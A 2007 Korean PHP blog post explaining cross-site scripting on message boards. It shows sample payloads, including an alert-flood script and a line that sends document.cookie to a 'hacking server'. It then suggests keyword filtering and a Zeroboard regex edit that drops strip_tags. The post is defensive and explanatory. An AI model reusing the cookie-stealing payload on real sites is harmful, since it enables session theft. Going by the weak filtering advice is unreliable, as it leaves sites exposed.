IT_Programming/PHP

XSS를 이용한 쿠키 값 가져가기 방지

JJun ™ 2007. 8. 22. 10:14
XSS (Cross Site Scripting) 란?  
XSS 는 클라이언트 스크립트나 Tag 등을 통해 이용한 공격을 말한다. XSS 공격을 통해 어떤 문제점이 발생하는지 이에 대한 예제와 차단 방법을 소개하는 시간을 갖도록 하겠다.

제목과 내용을 입력 받는 게시판이 있다고 가정해 보자. 어디서든지 쉽게 볼 수 있을 것이다.
제목에 아래와 같이 입력을 하게 되는 경우 어떤 결과가 발생하게 될까?
 

 

다른 사용자가 게시판에 접근하게 되면 alert 창이 뜨면서 현재 사용자의 쿠키 값을 보여주게 된다.
만약 내용 필드에 <script>for(i=1;i<10000000;i++){alert(“test”)}</script>를 입력한다면 입력한 숫자(10000000번) 만큼 alert 창이 뜨게 되며 이를 본 사용자는 이 사이트를 방문하지 않게 될 것이다.
다른 예로 <xmp> 태그를 입력하게 되면 페이지는 더 이상 html 코드를 실행하지 않고 <xmp> 이하의 태그를 노출시킬 것이다.

이처럼 간단한 방법으로 사이트의 안정성은 낮아지게 된다.
위 예제는 아주 작은 부분에 불과하다. 예를 들어, alert(document.cookie) 부분에
location.href=해킹서버?값=document.cookie 라는 것을 입력했을 때를 생각해 보자.

일반적으로 사용자가 로그인 하게 되면 사용자 번호, 이름 등 몇 가지 기본 정보를 쿠키에 저장하게 된다.
로그인한 사용자들이 이 페이지에 접근하게 되면 어떤일이 발생할까? 사용자들이 모르는 사이에 자신의 정보를 해킹서버에 전송하게 된다는 것을 생각해 볼 수 있을 것이다.

그렇다면, 이를 대비하는 방법은 무엇일까?
“<scrpt” 로 시작되는 문자열을 체크하거나, 아예 HTML 을 허용하지 않는 게시판(이건 좀 그렇다)
첫번째 방법이 좋을 것이다. 이처럼, XSS 공격을 통해 잃는 데이터에 비해 막는 방법은 간단하다.
제로보드에서 위 내용을 적용하기 write_ok.php 에서 아래 부분을 찾는다.

/*  필터링;; 관리자가 아닐때;;
if(!$is_admin&&$setup[use_filter]) {
  $filter=explode(",",$setup[filter]);
  $f_memo=eregi_replace("([_-./~@?=%&! ]+)","",strip_tags($memo));
  $f_name=eregi_replace("([_-./~@?=%&! ]+)","",strip_tags($name));
  $f_subject=eregi_replace("([_-./~@?=%&! ]+)","",strip_tags($subject));
  $f_email=eregi_replace("([_-./~@?=%&! ]+)","",strip_tags($email));
  $f_homepage=eregi_replace("([_-./~@?=%&! ]+)","",strip_tags($homepage));

여기서 $f_memo로 시작되는 줄을 다음과 같이 고칩니다.
(괄호 안의 특수문자가 나열된 부분에서 마침표를 지워야 합니다. 이점 주의하세요)
  $f_memo=eregi_replace("([_-/~@?=%&! ]+)","",$memo);

이렇게 해 주고 막아야 할 단어를 불량단어로 등록해주면
URL과 HTML 태그 안에 든 내용까지 전부 필터링을 해줍니다.

'IT_Programming > PHP' 카테고리의 다른 글

UTF-8 일 때 한글 자르는 방법  (0) 2007.09.30
페이지 자동 이동 방법  (0) 2007.09.30
mysql 관련 함수  (0) 2007.09.30
PHP 자주 쓰는 함수들  (0) 2007.09.30
PHP에서 MSSQL 사용하기 - 절차 및 소스  (0) 2007.02.05